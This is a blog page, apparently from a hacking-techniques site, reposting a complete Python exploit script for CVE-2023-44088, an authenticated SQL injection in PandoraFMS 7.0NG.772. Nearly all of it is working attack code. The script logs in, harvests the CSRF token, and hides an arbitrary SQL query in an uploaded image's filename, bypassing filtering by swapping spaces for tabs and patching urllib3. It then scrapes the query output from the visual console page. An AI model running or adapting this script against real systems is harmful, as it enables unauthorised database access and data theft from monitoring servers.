Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381051

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: PandoraFMS 7.0NG.772 - SQL Injection
# Date: 21/11/2023
# Exploit Author: Osama Yousef
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases/download/v772-LTS/pandorafms_agent_linux-7.0NG.772.tar.gz
# Version: v7.0NG.772
# Tested on: Linux
# CVE : CVE-2023-44088

import re, requests, argparse, string, random, base64
import urllib3
import html

headers = {
	'Cache-Control': 'max-age=0',
	'Origin': '',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
	'Accept': '*/*',
	'Referer': ''
}

def login(session, url, username, password):
	res = session.get(url)
	csrf = retrieve_csrftoken(res.text)

	url+= '?login=1'
	payload = "nick={}&pass={}&login_button=Let%27s+go&csrf_code={}"

	res = session.post(url, data=payload.format(username, password, csrf), headers={'Content-Type': 'application/x-www-form-urlencoded'})
	if 'User is blocked' in res.text:
		print("Login Failed!")
		exit(1)


def exploit(session, url, imagepath, query):
	url1 = url + "?sec=network&sec2=godmode/reporting/visual_console_builder&tab=data"
	name = random_id(10)
	payload = "{}.jpg',({}),'1','1','1','1');-- helloo.jpg".format(name, query)
	payload=payload.replace(' ', '\t')
	files = {"background_image": (payload, open(imagepath, 'rb').read(), 'image/jpeg')}

	# Create a reference to the original _make_request method
	urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
	# Replace the _make_request method with the custom_make_request function
	urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request


	res = session.post(url1, files=files, data={'action':'save', 'name':name, 'id_group': 0, 'background_image': 'None.png', 'background_color': '#ffffff', 'width': '1024', 'height': '768', 'is_favourite_sent': '0', 'auto_adjust_sent': '0', 'update_layout': 'Save'})

	if 'Created successfully' not in res.text:
		print("Failed to create a visual console!")
		exit(1)


	url2 = url + "?sec=godmode/reporting/map_builder&sec2=godmode/reporting/map_builder"
	res = session.get(url2)
	x = re.search('(?:<a href=".*">)'+name, res.text)
	match = x.group()
	url3 = match.lstrip("<a href=")
	url3 = url3.split('"')[1]
	url3 = url3.split("?")[1]
	url3 = html.unescape(url3)

	url4 = url+ "?" + url3 

	res = session.get(url4)

	x = re.search('(?:var props = {"autoAdjust":true,"backgroundColor":".*","backgroundImage")', res.text)
	match = x.group()
	output = match.lstrip('var props = {"autoAdjust":true,"backgroundColor":"')
	output = output.split('","backgroundImage')[0]
	print("Query output: {}".format(output))

def retrieve_csrftoken(response):
	x = re.search('(?:<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value=")[a-zA-Z0-9]*(?:")', response)
	match = x.group()
	csrf = match.lstrip('<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value="').rstrip('"')
	print("CSRF: {}".format(csrf))
	return csrf

def random_id(len):
	chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
	return ''.join(random.choice(chars) for _ in range(len))

def custom_make_request(self, conn, method, url, timeout=urllib3.connectionpool._Default, chunked=False, **httplib_request_kw):
	body = httplib_request_kw['body']
	if body:
		body = body.replace(b"%09", b"\t"*3)

	httplib_request_kw['body'] = body
	return self._original_make_request(conn, method, url, timeout=timeout, chunked=chunked, **httplib_request_kw)


def main():
	ap = argparse.ArgumentParser()
	ap.add_argument("-t", "--target", required=True, help="Target URI")
	ap.add_argument("-u", "--username", required=True, help="Username")
	ap.add_argument("-p", "--password", required=True, help="Password")
	ap.add_argument("-i", "--image", required=True, help="Image path")
	ap.add_argument("-q", "--query", required=True, help="SQL Query to execute")
	ap.add_argument("-x", "--proxy", required=False, help="Proxy Configuration (e.g., http://127.0.0.1:8080/)")

	args = vars(ap.parse_args())

	session = requests.Session()

	url = args['target']
	if 'pandora_console' not in url:
		if not url.endswith('/'):
			url += '/'
		url += 'pandora_console/'




	headers['Origin'] = args['target']
	headers['Referer'] = args['target']
	session.headers.update(headers)

	proxies = {}
	if args['proxy'] is not None:
		if 'https' in args['proxy']:
			proxies['https'] = args['proxy']
		else:
			proxies['http'] = args['proxy']

	session.proxies.update(proxies)

	login(session, url, args['username'], args['password'])

	exploit(session, url, args['image'], args['query'])

		
	
if __name__=='__main__':
	main()